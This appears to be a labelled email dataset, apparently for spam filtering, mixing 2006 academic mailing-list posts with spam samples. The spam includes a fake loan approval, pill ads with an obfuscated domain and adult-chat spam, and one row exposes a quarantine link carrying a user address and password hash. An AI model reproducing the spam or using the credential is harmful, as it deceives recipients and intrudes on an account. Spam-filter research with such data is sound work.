dismissal of context as a key, if >> not the key epistatic factor, but again theory is never irrelevant >> by virtue of the fact that it too ultimately is sourced in a >> communication domain shot through with many of the very dynamics >> under question -- in other words, theory per se is always already >> part and parcel of communication dynamics. This is the latter >> Wittgenstein. > There are many points and purposes in theory building. You are > right that providing a descriptive framework is one of them -- but > only one. Another is to go further and actually provide a > description of the observed phenomena that can be more directly > related to the observed. > > The point is that Nash essentially provides the former, whilst > Simon criticised this, preferring the later. > > Many fields provide conceptual frameworks, one of the things that > differentiates (and is essential to) science is the way it > confronts models with data derived from observations. If there is a > discrepancy scientists should (on the whole) change the model > rather than change the problems to fit the model/framework. Simon > criticised arm-chair economists who had allowed their subject to > retreat into abstraction disconected from such observations, > forming a sort of very-particular branch of mathematics. Nash is a > brilliant developer of such mathematics. The contrast is startling. > > -- > > > Regards. > > -------------------------------------------------- > Bruce Edmonds, > Centre for Policy Modelling, > Manchester Metropolitan University, Aytoun Bldg., > Aytoun Street, Manchester, M1 3GH. UK. > Tel: +44 161 247 6479 > http://bruce.edmonds.name ",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Fri, 07 Apr 2006 13:02:59 -0400",JISC Capital Programme: Digitisation - Request for Proposals,"[Forwarding from JISC. --Peter.] JISC Capital Programme: Digitisation - Request for Proposals The JISC Capital Programme, funded by HEFCE and HEFCW from April 2006 – March 2009, consists of six areas of development: Network; Digitisation; Repositories; e-Learning; e-Infrastructure; and User Environments. Further information about the development areas can be found at: http://www.jisc.ac.uk/capital.html JISC has issued a Request for Proposals for Digitisation Projects as part of the JISC Capital Programme. This Request for Proposals is aimed primarily at enabling access, use and re-use through the digitisation of analogue collections for learning, teaching and research. It is envisaged that a small number of large scale projects with a minimum budget allocation of £500,000 will be funded through this programme. However, this guideline should not discourage proposals from highly significant educational and research collections that may require funding at a lower level. Proposals may be submitted by an institution, organisation or consortia with collections of significant value to higher education and research in England and Wales. The deadline for proposals is 12 noon on Friday 26th May 2006. A Digitisation Programme Town Meeting will be held in London on Friday 21st April to discuss this call. The Town Meeting will consist of presentations, parallel workshops on specific issues relating to digitisation, expert panel sessions and the opportunity to ask questions on the new call for proposals. Further information about the Town Meeting including an online booking form can be found at: http://www.jisc.ac.uk/index.cfm?name=event_digmtg_0406 The full Request for Proposals is available on the JISC website at: http://www.jisc.ac.uk/index.cfm?name=funding_capital_digitisation",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Fri, 07 Apr 2006 14:29:36 -0500",Office hours and review session,"Hi CS352-ers, I will holding special office hours and review session for mid-term, next week. Please note the timing and location. Monday ESB 229 Office hours 10:30-12:30 PM (2 hours) Tuesday ART 1.110 Review session 3:00-4:00 PM (1 hour ) Tuesday ART 1.110 Office hours 4:00-5:00 PM (1 hour ) Wednesday ESB 229 Office hours 11:00-1:00 PM (2 hours) Thanks. Madhavi ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 07 Apr 2006 15:04:59 -0500",HW #6,"CS352-ers, HW #6 solutions are now available. Feel free to stop by Gem's office (ACES 3.422) to pick one up - they are in the wooden racks outside her door. I will also be bringing spares to class on Tuesday. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Gem Naivar ,cs352-swk@lists.cc.utexas.edu,"Fri, 07 Apr 2006 15:11:05 -0500",HW#6 solutions,"Dear students, I have copied the solutions and placed them in the rack outside of my office that is to the left of my door. Thanks, Gem ******************************************** Gem Naivar Administrative Associate Department of Computer Sciences The University of Texas at Austin ACES 3.422 (512) 232-7460 gem@cs.utexas.edu ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Fri, 07 Apr 2006 19:32:20 -0500",eGradebook,"Hi CS352-ers, Your grades should be available through the eGradebook, from now. Let me know if you have any concerns about your grades. Thanks. Madhavi ",0,0 """Moises K. Holloway"" ",complex-science@necsi.org,"Fri, 07 Apr 2006 10:53:14 -0600",Yours loan is approved nnnhs4,"Dear Homeowner, complex-science@necsi.org http://lowlow1refinance.com/goodstep/ You have been approved for a $ 698,688 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=15ea83b90e4ba35ebaa77de8f2ed78cd&et=1144925397&locale= ",0,1 Carol Goodson ,E-Reserves in Libraries Discussion List ,"Fri, 07 Apr 2006 13:33:58 -0400",Re: [ARL-ERESERVE] E-Reserve operating procedures?,"> Do most claim copyright through Docutek? If so, how do you account > for Fair Use? We use Docutek; I scrutinize the items and determine whether I feel they fall under Fair Use guidelines; if not, I request a quote from CCC or sometimes direct from the publisher if I think I might get a better deal on the price. > Do many use the linking mechanism that gives access to online, > leased, eJournal articles? If yes, how is that working? If you > are not using ezproxy, do you do anything else to make sure the > links work off campus? ***we are making extensive use of linking to our online subscription content: we never scan if we can link; the only problem is that it is fairly time-intensive to determine whether we have online access to something that is brought in for scanning: it would be faster just to scan and not check. Also, I do not feel confident that my Circ parapros could handle that, so I've been doing it myself--not a good thing! We use EZProxy, and also warn students in the Docutek entry for the item that they will need to secure the current library password in order to access the item from off-campus. Periodically I test a random sample of items from home to be sure that they really are accessible. So far, haven't had any complaints other than, ""I don't know the password--why won't you give it to me?"" The majority of the faculty love Docutek once they get over the learning curve. > Does anyone use Docutek to deliver links and documents to be used > within a course management environment, e.g., Blackboard/WebCT? ***our Docutek system is configured so that once a student is logged into WebCT, they don't need to enter any other password in order to access the Docutek course reserves page for that class (except, as noted above, if there are linked documents involved). _______________________________________________ Carol Goodson, Head / Library Access Services UNIVERSITY OF WEST GEORGIA 1601 Maple Street Carrollton GA 30118 Voice: (678) 839-6507 | Fax: (678) 839-6509 email: cgoodson@westga.edu http://www.westga.edu/~cgoodson/ ________________________________________________ ",0,1 ���اg ,CNI-COPYRIGHT@cni.org,"Sat, 08 Apr 2006 14:39:10 -0200",[�۩���k]�x�_���T�f�p���۩�� ,"spout abroad calamity exceptional lettermen axiom blubber soda activate seafare deemphasize forgery bayberry nightcap bambi sagittarius gordian drib lavender anthropogenic appreciate asbestos ",1,0 ,,,Re: The Simpson-Elsasser-Wolfram framework for modeling the cell,"Stan wrote (>): >>> SS: Indeed, the prowess of computation is great. I myself was >>>amazed to see what Boolean automata can do. But we need some caution on >>how we interpret these things. One thing I believe we did learn from >>>programs was (chaos theory) that slight changes in initial conditions >>>could bring about great changes later in a simulation. >>Wolfram found this too. But what he was surpised to find in addition was >>that a simple rule iterated for a long time can show nothing unusual and >>yet, after continued iterations (hundreds and thousand of times), totally >>unexpected complex patterns would emerge. So, both initial conditions and >>prolonged iterations seem essential for interesting things to happen. > SS: I think it well to keep in mind the 'mechanism' difference between >bios and this program. The computation is a model. We need to note the >dfference between a territory and its map, and betwen analog and digital. I agree. Mechanisms uderlying pattern formation in Wolfram's programs are 'passive' in that programs themesleves are incapable of utilizing free energy, whereas the patterns formd in bios are active in that their formation is driven by self-organizing chemical reaction-diffusions processes occurring in bios themselves. Also theories are maps; they are not territories. Theorists can only construct maps of reality at various levels of granularities (i.e., the degress of details of description) and not reality itself (which may be said to have infinitely small granularity). Theorists can only describe mechanisms and write computer programs mapping reality at arbitrarily chosen levels of granularity, some of which engineers may be able to instantiate with varying degrees of realism. Sung _________________________________________ Sungchul Ji, Ph.D. Department of Pharmacology and Toxicology Ruters University Piscataway, N.J. 08855 ",0,0 ,,,Re: Temporal hierarcy as a tree of coincidence detectors (new)," There is the usual confusion by the anonymity of the list: the [>] seems to refer both to Stan and Non-Stan Then there is: [> >>] (???) --- complex-science@necsi.org wrote: > Stan wrote (>): I want to address (>>): > > >>A hierarchy can be viewed as a ""tree"" consisting > of a set of bifurcations. > >>A bifurcation can be represented as a node > connected to two other nodes. > > > SS: This is not true of ALL hierarchies. ... > > Also, in any hierarchy, the rise of new levels > need not be by > >""bifurcation""; it could be multifurcation, if by > furcation at all. I want to extend this true statement of Stan to the graph-tabulation further below, where the writer tries to 'order' nature (whatever) fitting the simplest wayw of the human mind: > > > >>The simplest hierarchy is a set of n bifurcations, > where n = 1 or greater. > >>When n=1, we have what may be called the 'unit > bifurcation"". A unit > >>bifurcation consists of three nodes connected > thus: 1-2-3. When 1 and 3 > >>are events whose simultaneous occurrences (within > a very short time range, > >>say, mseconds) leads to (or causes) event 2, we > may be dealing with what > >>may be called the ""unit temporal bifurcation > (UTB)"". This is equivalent > >>to viewing 2 as a ""coincidence detector"" or a > ""coincidence detecting > >>event (CDE)"". We can easily imagine a system of > two or more CDEs coupled > >>in such a manner as to form a tree, which may be > identified with a > >>""temporal hierarchy"": > >> > >> > >> 1 > 2^0 > >> / \\ > >> / \\ > >> 2 3 > 2^1 > >> / \\ / \\ > >> / \\ / \\ > >> 4 5 6 7 > >>Figure 1. A temporal hierarchy composed of a set > of coincidence-... How about: > 1 _______________________________ ! ! ... ! ! ______ ___ _______ ____ ! ! ! !... ! ! NUMBERING every (!) in consecutive - or not -figure with the (...) portions unlimited? (Which would give a 'multifurcation') It would represent the 'hierarchy' - to use Stan's term or an unlimited network (especially if there is a recursive possibility among the 'nodes'. > > SS: So, this is a hierarchy built from the > bottom-up. Maybe OK for > >computers, but not for hierarchy models that fit > natural systems (scalar or > >specification). > > Can you define for me what you mean by “scale” and > “specification"" > hierarchies? About the latter hierarchy, I had > asked you once before but > I never gotten your answer. > > > In a stretch it might be said to be OK for > specification > >hierarchies, which can have ""temporal"" > interpretation, but the general > >growth mode of that system is from a trunck outward > into branches -- like, > >starting at 16 (in 2hat4) above, and branching out > from that. > > >>If a temporal hierarchy consists of n levels > (e.g., level 1 containing > >>nodes 2 and 3; levels 2 containing nodes 4, 5, 6 & > 7, etc.), the nodes at > >>the highest level (e.g., 16, 17, 18, etc. at level > 4 in Figure 1) may be > >>referred to as the zero^th order CDEs; the nodes > at the (n – 1)^th level > >>as the 1st order-CDEs, etc. The higher the order > of a CDE, the smaller > >>would be the probability of its occurrence in > nature in general, unless > >>promoted by some devices driven by dissipation of > free energy. Thus we > >>can recognize two kinds of CDEs – the passive and > active CDEs. The > >>temporal hierarchy (TH) built from passive CDEs > may be called passive TH > >>and that build up of active CDEs as active TH. It > appears reasonable to > >>assume that living systems are examples of active > THs and passive THs > >>belong to abiotic systems. > > > SS: Is there a problem here in that some > abiotic chemical reactions > >require energy input (endothermic). > > Abiotic hierarchies do not evolve. In contrast, > biotic hierarchies can > and do. For a hierarchical system (whether spatial > or temporal) to > evolve, you must dissipative free energy. This is > what I meant. In fact, > living systems may be characterized as those > material systems in Nature > with hierarchical architectures endowed with the > ability to dissipative > free energy to constantly improve the probability of > realizing > increasingly more rare processes. (See below for > possible molecular > mechanisms to achieve such seemingly paradoxical > goals, using multisubunit > enzyme complexes.) > > >>The idea that living systems embody active THs > seems to be supported by > >>both theoretical and experimental evidences: > >> > >> (1) Enzymes are active coincidence detectors > in that the simultaneous > >>localization of four or more catalytic residues at > the active site of > >>an enzyme at the transition state, driven by the > free energy of > >>substrate binding, leads to catalysis (see Figure > 10 in [1]). > >> > >> (2) All molecular motors can be treated as > coincidence detectors in > >>that the mechanical energy stored in them results > from the coincidence > >>of the nuclear rearrangements (also called > conformation or noncovalent > >>changes) of proteins and the electronic > transitions of bound ligands > >>(e.g., ATP hydrolysis to ADP and Pi, or oxidation > of AH_2 to A); see > >>Figure 3 in [2]). > >> > >> (3) Bacteria can act as coincidence detectors > [3]. > >> > >> (4) Neurons of the visual cortex, auditory > cortex, somatosensory > >>cortex, hippocampus, the frontal cortex, and odor > sensors act as > >>coincidence detectors [4,5]. > >> > >> (5) The cerebral cortex responsible for > consciousness may be a > >>coincidence detectors of neuronal firings [6]. > >> > >>The spatial structures of living systems (e.g., > DNA double helix, 3D X-ray > >>structures of enzymes and biochemicals, etc.) that > have been the focus of > >>research in molcula rbiology for over half a > century may be considered as > >>a necessary condition but not sufficient one to > give rise to life. The > >>missing link may be what may be called “temporal > structures” (in contrast > >>to ""spatial structures""), which may act as the > sufficient condition for > >>life. In other words, spatial structures can lead > to life if and only if > === message truncated === ",0,0 lida sally ,tynetia edward ,"Sun, 09 Apr 2006 13:57:53 +0000","We can have peace after we stop hating love, and stop loving hate","Hail! [E]rectile [D]ysfunction? We can help! Our site: ochhorfando[dot]com ;) Don't forget to replace ""[dot]"" to ""."" --- while all shapes and sounds seemed in the uncertain half-light to strike her with unaccustomed vividness. Moments of doubt were continually coming upon her, when she was uncertain whether the train were going forwards or backwards, or were standing still altogether; whether it were Annushka at her side or a stranger. ""What's that on the arm of the chair, a fur cloak or some beast? And what am I myself? Myself or some other woman?"" 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Simon Award ??????,"""Beautiful Mind"" reminded me ""Rosemary's Baby"". In the latter the terrible infant was never shown, but its horribleness was conveyed through the reaction of other personages. Similarly, in the former the beauty of the mind is never show directly, but through people saying ""how ingenious!"". In the special features movie director was interviewing Nash and he wrote crocodile-long equations on the blackboard to explain Nash Equilibrium. Director understood nothing but (or, perhaps, because of that) was amazed at Nash's cleverness. Meanwhile Nash Equilibrium is an elementary concept and is presented in an undergraduate textbook on microeconomics. Don't know if it is useful, but it is interesting (I don't see anything ingenious in it, however). --- Mikhail Simkin http://reverent.org ----- Original Message ----- From: ""New Banker"" Sent: Tuesday, April 04, 2006 6:36 AM Subject: Re: John Nash to receive Herbert A. Simon Award ?????? > Good point. Maybe they should give the award to Russell Crowe for his > actual hands-on experiments with ""physical telephony?"" > > CAS, especially as it is practiced with agent-simulations can be accused > of the same thing - fact free science. I used to be in housing finance > (local government) and always wondered if simulations were a good basis > for advising policy-makers (i.e., elected officials). I mean, real > people could end up footing the tax bill for policy decisions based on > models, so was there a science basis for such models irrespective of the > insights that modeling gives to the complex dynamics of urban life. For > that matter, what are the ethics of policy modeling? > > Such insights are very powerful and can give one a feeling of playing God > with others' lives and money! It's hard not to buy into that without > critical analysis and validation. And then, what comprises ""validation?' > When can we say that, ""Yes, this model mimics the reality we are dealing > with and should be used to guide policy."" > > One of the things I like about the so-called ""soft systems"" approach is > that it is a given that the observer/model-builder is a part of the > system. I have used this with some success, but mainly for giving insight > into a complicated scenario (e.g., land use and annexation policy); not > for actually making such decisions. > > > > -----Original Message----- >>From: complex-science@necsi.org >>Sent: Apr 2, 2006 7:58 PM >>To: complex-science@necsi.org >>Subject: Re: John Nash to receive Herbert A. Simon Award ?????? >> >>> The Herbert A. Simon Award for contributions to >>> the study of Complex Systems will be presented to >>> >>> John F. Nash, Jr. >>> >>> for his analysis of >>> >>> Game Theory >>> >>> at the International Conference on Complex Systems >>> June 25-30, Boston, MA. >> >> >>Is it just me, or do others sense a certain strangeness about Nash >>getting a Herbert Simon award? HS (rightly in my opinion) railed >>against ""Archchair economics"" where principles are decided in abstract >>on an a priori basis and then later projected upon the social phenomena >>of exchange. In his ""Administrative Behavior"" hw showed the way forward >>by observing what people _actually_ do, rather than what people might >>think they do based on a priori considerations. (Although he did not >>follow his own prescription always in his mathematical modeling). >> >>Now Nash is a brilliant guy who has developed brilliant mathematics, but >>that is not the point. The point is whether game theory (and results >>about equilibria in abstract games) tell us _anything_ at all about >>complex systems or about the complex phenomena we observed (including >>those that involve exchange). >> >>There is nothing wrong with the maths, but its effect on subsequent >>researchers has been hugely detrimental to the development of adequate >>approaches to modeling complex phenomena. In most observed cases: (1) >>there are not known or fixed payoffs for actions, (2) there are not a >>finite number of action choices, (3) there are no equilibria observed. >>Thus this is nice theory just irrelevant (on its own) to actual cases. >> >>Given the wierdness of this award, I propose the following extra prizes >>to awarded: >> >>The Darwin Prize: awarded to Lamarck >>The Newton Prize: which goes to Ptolemy >>The Godel Prize: of course to Hilbert >> >>Maybe surreal prize giving could be developed into an art form? >> >>-- >> >> >>Regards. >> >>-------------------------------------------------- >>Bruce Edmonds, >>Centre for Policy Modelling, >>Manchester Metropolitan University, Aytoun Bldg., >>Aytoun Street, Manchester, M1 3GH. UK. >>Tel: +44 161 247 6479 >>http://bruce.edmonds.name >>",0,1 ,Conference on Concept Mapping ,"Mon, 10 Apr 2006 06:41:52 -0400",Re: [CMC-l] Inquiry (fwd),"Right-click. Format picture. Picture Tab. Now use the Crop From tools Regards, M. On 10/04/06, Ms. Meena Kharatmal wrote: > > To unsubscribe, E-mail to: > ----------------------------------- > Hi, > > I have tried to export as .eps file and then tried inserting it in the > word document. Now the cmap is quite sharp. But what has happened is > while inserting the cmap a lot of white space has appeared around the > cmap which it has taken as extra space. Though the cmap is around 4 > cms in height, the actual image is around 10-12 cms in height. Please > suggest me a way as to how I can get rid of the extra space. > > Thankyou. > Meena. > > ---------- > Hello, > > I am using CmapTool for preparing some concept maps. I want to use > these maps in the papers for CMC2006. I have exported the cmaps as > jpeg file and I am inserting the cmaps in the word document. But the > maps does not look sharp and are not clear in reading. I also took a > printout to check. Can anybody please suggest me the correct procedure > for the above? > > Thankyou. > Regards. > Bye. > Meena. > > -- > .............................................. > .................Meena Kharatmal................ > http://www.hbcse.tifr.res.in/~meena > .............................................. > > ############################################################# > This message is sent to you because you are subscribed to the mailing > list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Send administrative queries to > List archive is available at http://mail.ihmc.us:8100/Lists/CMC-l/ > -- Martin@Cleaver.org",0,1 live,,,,""" Reply-To: ""live "" To: cs395t-mark@cs.utexas.edu Subject: �����T���H�����������P���f�����C�����u�n5�I �|������4/26 Date: Mon, 10 Apr 2006 12:58:47 +0300 X-Mailer: AOL 9.0 for Windows US sub 178 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""--108982113902064"" X-Priority: 3 X-MSMail-Priority: Normal X-IP:110.127.2.125 ----108982113902064 Content-Type: text/plain; Content-Transfer-Encoding: quoted-printable =B7s=BCW=BA=F4=AD=B61 =ACK=A4=D2= =A4H=BCv=AD=B5=B5=F8=B0T= =B2=E1=A4=D1=B1=A1=A4H=BA=F4 =A5=FE=B7s=AA=BA=C2=F9=A6V=B5=F8=B0T=BBy=AD=B5=B2=E1=A4=D1=A8t=B2=CE= =A1A=B3=CC=B6W=AD=C8=AA=BA=B2=E1=A4=D1=AAA=B0=C8=A1A=B5=B9=B1z=A4=A3=A6P=AA= =BA=B7P=A8=FC=A1I (=A1u=B7s=B6i=A1v=A4@=B0=EF*=BA}= =ABG=AC=FC=B4A*=AE@=A1A=A4=A3=A8=D3=A5i=B1=A4=AE= @=A1A=BB=B0=A7=D6=B6i=A8=D3=B2=E1=B2=E1=A7a=A1I) (=A1u=ACK=A4=D2=A4H=A1v=A8=CE=C4R =A4d=A4d=A1A=A4=A3=ACO=B9=DA=B7Q=A1A=A8=D3=B4N=AF=E0=BE=D6=A6=B3=A1= I) =A5=FE=BA=F4=A8C=A4=C0=C4=C1=A5u=ADn5=C2I=B0_=B4N=A5i=A5H=B8=F2=A9=CA= =B7P=AC=FC=A9f=B2=E1=A4=D1 =ACK=A4=D2= =A4H=AA=BA=A9f=A9f=B3=CC=A6h!=B3=CC=BB=B6!=B3=CC=B4=B1!~=AD=D3=AD=D3=A6=B3= =AFS=A6=E2!=AD=D3=AD=D3=B3=A3=A4j=C1x~ =B0=EA=A5~=AD=BB=B4=E4=A4j=B3=B0=A6a=B0= =CF=B7|=AD=FB=A1A=A4@=BC=CB=B1=B5=A8=FC=ABH=A5=CE=A5d=A5I=B6O!! =ACK=A4=D2=A4H=BCv=AD=B5=B5=F8=B0T=B2=E1=A4=D1=B1=A1=A4H=BA=F4<= font color=3D""#0000ff""> http://www.2279.net<= /font>       &nb= sp;            = ;            &= nbsp;         ----108982113902064--",1,1 SOA list manager ,SPARC-OAForum@arl.org,"Mon, 10 Apr 2006 12:52:01 -0400","Increasing Institutional Repository Content with ""email eprint"" Button (fwd)","---------- Forwarded message ---------- Date: Mon, 10 Apr 2006 13:41:50 +0100 From: Timothy Miles-Board To: AmSci Forum ** Apologies for Cross-Posting ** A new feature has been built into the GNU EPrints (free) software for creating Institutional Repositories (IRs). We hope it will dramatically increase the growth rate of open access (OA) content deposited in IRs while -- perversely it may seem -- allowing authors to opt out of providing OA! It's extremely simple, and if implemented carefully by the repository can produce immediate results without additional cost or resource implications. http://www.eprints.org/news/features/request_button.php (Eloy Rodrigues, the dynamic OA activist at University of Minho in Portugal https://repositorium.sdum.uminho.pt/ has kindly implemented the feature in Dspace too, and will be announcing its availability for testing very shortly.) This new feature is called the ""Request eprint"" button. It works like this: To deposit a work using EPrints an author creates a record for the eprint by filling metadata fields in the repository deposit interface. Ideally we would of course like the eprint to be both deposited *and* made OA. However, not all authors are yet comfortable with this, so rather than have authors refrain from depositing their eprints altogether, EPrints offers authors the option of either: (1) making the eprint OA, or (2) restricting full-text visibility to designated viewers, with only its metadata visible publicly, or (3) making the full-text completely invisible, with only its metadata visible publicly (although the full-text is still stored in the system). There are a number of reasons for allowing this flexibility. One of the main hesitations authors have about providing OA -- even though 93% of journals have already given it their official green light http://romeo.eprints.org/stats.php -- is author worries about infringing their copyright agreement with the remaining 7% of journals. Institutions contemplating adopting self-archiving mandates have similar concerns. So far, none of this is new. The key need of the repository in terms of growing content is to persuade authors (or their designees) to perform the requisite keystrokes, i.e. to simply *deposit* the metadata and the eprint, without prejudice as to what else might be done with it. Once those all-important data are deposited, we can start to work with the author to maximise its usefulness and usage. This is where the ""Request eprint"" button comes in. Whenever record of a stored eprint tells a would-be user that an OA version of the full text copy is not accessible, a dialogue box appears inviting the user to paste in their email address and send a request to the author for a copy of the paper. This request is emailed automatically to the author, offering three choices in return: to email the requested eprint, to reject the request, or to make the eprint OA in the repository. Since the requested eprint is already in the repository, and merely invisible, a simple process enables the author to make a selection and activate that choice with a single click. This is simple for requesters, authors, repository implementers and policy makers as it allows them a full range of choices without any implications for the usual worries that otherwise deter or delay this type of dissemination. In particular, there are no implications for copyright. This furthers the objectives of increasing deposit and dissemination through the repository by reducing barriers and fears. It also gives authors valuable feedback on the degree of interest in their work (requests are counted, just as downloads of OA eprints are counted, and the statistics made available to the author). How might this affect growth of your repository? It is generally estimated that institutional repositories are capturing 15% of the annual articles that could be made OA today. There is thus an 85% gap to fill. There have been many hypotheses about the reasons for the slowness of authors in filling this gap. The ""Request eprint"" button enables us to overcome most of these concerns. It gives even authors who are wary of self-archiving the chance to begin depositing in their institutional repository, it improves access - even if it is not immediately OA it is better than no record at all - and it offers the prospect of conversion to OA when authors realise the level of interest in their work. This feature also makes it possible to implement the ""weaker"" model for an official Open Access Policy, both institutionally: http://openaccess.eprints.org/index.php?/archives/71-guid.html and nationally: http://www.ecs.soton.ac.uk/~harnad/Temp/weaker-OApolicy.htm ---- This message was adapted from Steve Hitchcock's text at: http://www.eprints.org/news/features/request_button.php",0,1 Souhila Messaoud-Galusi ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Apr 2006 20:55:40 +0100",[DMDX] Re: record long output sounds,"I can't try DMDX 3.1.5.1 because when I try to select the video mode in timedx I have the following message ""DirectX reports no support for Page Flipping. The video card in this machine is not adequate for DMDX's purpose"". I guess this means I must change the video card, but I have hope there is a solution as the previous versions of DMDX worked well with this video card. Best Souhila At 01:17 07/04/2006, you wrote: >At 10:57 PM 4/6/2006 +0100, you wrote: >>On the desktop, around 607000 available and on the laptop around >>650000. Error on both computer when is superior to 48500. > > Try version 3.1.5.1, looks like there's an arithmetic overflow in > there that should be fixed now. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Have you noticed that all you need to grow healthy, vigorous >grass is a crack in your sidewalk. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > UCL (University College London) Department of Phonetics and Linguistics Wolfson House 4 Stephenson Way London NW12HE TEL 00 44 (0)207 679 5026 (internal 25026) FAX 00 44 (0)20 7679 5107 Research project http://www.phon.ucl.ac.uk/speechper/",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 10 Apr 2006 13:53:35 -0700",[DMDX] Re: record long output sounds,"At 08:55 PM 4/10/2006 +0100, you wrote: >I can't try DMDX 3.1.5.1 because when I try to select the video mode in >timedx I have the following message ""DirectX reports no support for Page >Flipping. The video card in this machine is not adequate for DMDX's purpose"". >I guess this means I must change the video card, but I have hope there is >a solution as the previous versions of DMDX worked well with this video card. Yeah, that's pretty odd. Even if you were using an exceedingly ancient version of DMDX beforehand it's still odd. It's possible to have multiple instances of DMDX and or TimeDX alive at the same time which can produce that kind of error in which case rebooting will fix it. Otherwise I'd try updating video drivers and the usual sorts of tricks like deleting hardware to see if something else hasn't clagged the machine up. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Have you noticed that all you need to grow healthy, vigorous grass is a crack in your sidewalk? ",0,0 Souhila Messaoud-Galusi ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Apr 2006 22:28:49 +0100",[DMDX] Re: record long output sounds,"I have modified the acceleration of my graphic software to run another program and this is what disturbed DMDX. It works fine now and it has recorded 15 minutes long response ! Many many thanks. Souhila At 21:53 10/04/2006, you wrote: >At 08:55 PM 4/10/2006 +0100, you wrote: >>I can't try DMDX 3.1.5.1 because when I try to select the video >>mode in timedx I have the following message ""DirectX reports no >>support for Page Flipping. The video card in this machine is not >>adequate for DMDX's purpose"". >>I guess this means I must change the video card, but I have hope >>there is a solution as the previous versions of DMDX worked well >>with this video card. > > Yeah, that's pretty odd. Even if you were using an exceedingly > ancient version of DMDX beforehand it's still odd. It's possible > to have multiple instances of DMDX and or TimeDX alive at the same > time which can produce that kind of error in which case rebooting > will fix it. Otherwise I'd try updating video drivers and the > usual sorts of tricks like deleting hardware to see if something > else hasn't clagged the machine up. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Have you noticed that all you need to grow healthy, vigorous >grass is a crack in your sidewalk? > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > UCL (University College London) Department of Phonetics and Linguistics Wolfson House 4 Stephenson Way London NW12HE TEL 00 44 (0)207 679 5026 (internal 25026) FAX 00 44 (0)20 7679 5107 Research project http://www.phon.ucl.ac.uk/speechper/ ",0,1 Catherine Thomas ,"digital_library_seminars@columbia.edu, cul@columbia.edu, epic-staff@columbia.edu, ccnmtl-ft@columbia.edu, acis-folks@columbia.edu, prostaff@libraries.cul.columbia.edu, dkvall@columbia.edu, srm2117@columbia.edu","Mon, 10 Apr 2006 16:38:42 -0400",Digital Library Seminar Series: Apr. 21 & May 5," UPCOMING DIGITAL LIBRARY SEMINAR SERIES PRESENTATIONS: 1. TOPIC: Sakai, the Future of Course Management at Columbia SPEAKER: David Millman, Director, Systems Integration, Enterprise Systems, CUIT WHEN: Friday, April 21 ~ 10:30 AM-12:00 PM WHERE: 203 Butler Library MORE INFO: http://www.sakaiproject.org/ ----------------------------------------------- 2. TOPIC: DLF Aquifer SPEAKER: Katherine Kott, Aquifer Director, Digital Library Federation (DLF) WHEN: Friday, May 5 ~ 10:00-11:30 AM WHERE: 203 Butler Library ""DLF Aquifer is an initiative of the Digital Library Federation. Envisioned as a means of leveraging digital library content, DLF Aquifer is creating scalable solutions to enable teaching, learning and scholarship. Beginning with a significant, well-bounded collection of digital content in the area of American culture and life, DLF Aquifer is creating a test-bed of tools for selecting, collecting and providing access to quality digital content. Grounded in the thinking that libraries add value through the organization of information, DLF Aquifer offers opportunities for collaboration among libraries and with partners building repositories, content management systems, course management systems and other solutions that support the scholarly process."" MORE INFO: http://www.diglib.org/aquifer/ -- Catherine M. Thomas, Web Services Librarian Libraries Digital Program Division Columbia University Libraries 212-854-8355 ~ thomas@columbia.edu ",0,1 Chanah ,egs+summary@cs.cornell.edu,"Mon, 10 Apr 2006 12:56:29 -0500",Fat Go Go Go,"may ruinous it spastic the regis it cornflower in nephew ",1,0 ,,,Artificial intelligence,"to CX DG's from Lewis L Smith Every year the monthly, ""Technical Analysis of Stocks and Commodities"", surveys its readers to learn their favorite software in various categories. Following is a list of the products which are top ranked in the category ""artificial intelligence/expert systems/neural networks"". These are the top four out of 13 systems ranked ""honorable mention"" or better ---- Winner NeuroShell Trader Professional [Ward Systems Group] < sales@wardsystems.com > and < www.neuroshell.com > Second AIQ TradingExpert Pro [AIQ Systems] < sales@aiqsystems.com > and < www.aiqsystems.com > Third/fourth TradingSolutions [Neuro Dimension, Inc.] < info@nd.com > and < www.tradingsolutions.com > Third/fourth VantagePoint Intermarket Analysis Software [Market Technologies LLC] < info@tradertech.com > and < www.tradertech.com > Perhaps one or more of these can be adapted to experimental work. Cordially. End of message.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 10 Apr 2006 18:01:58 -0700",[DMDX] Re: record long output sounds," Yeah, turning the hardware acceleration all the way off will produce the no page flipping error. Don't really see that too often though. At 10:28 PM 4/10/2006 +0100, you wrote: >I have modified the acceleration of my graphic software to run another >program and this is what disturbed DMDX. >It works fine now and it has recorded 15 minutes long response ! >Many many thanks. >Souhila > >At 21:53 10/04/2006, you wrote: >>At 08:55 PM 4/10/2006 +0100, you wrote: >>>I can't try DMDX 3.1.5.1 because when I try to select the video mode in >>>timedx I have 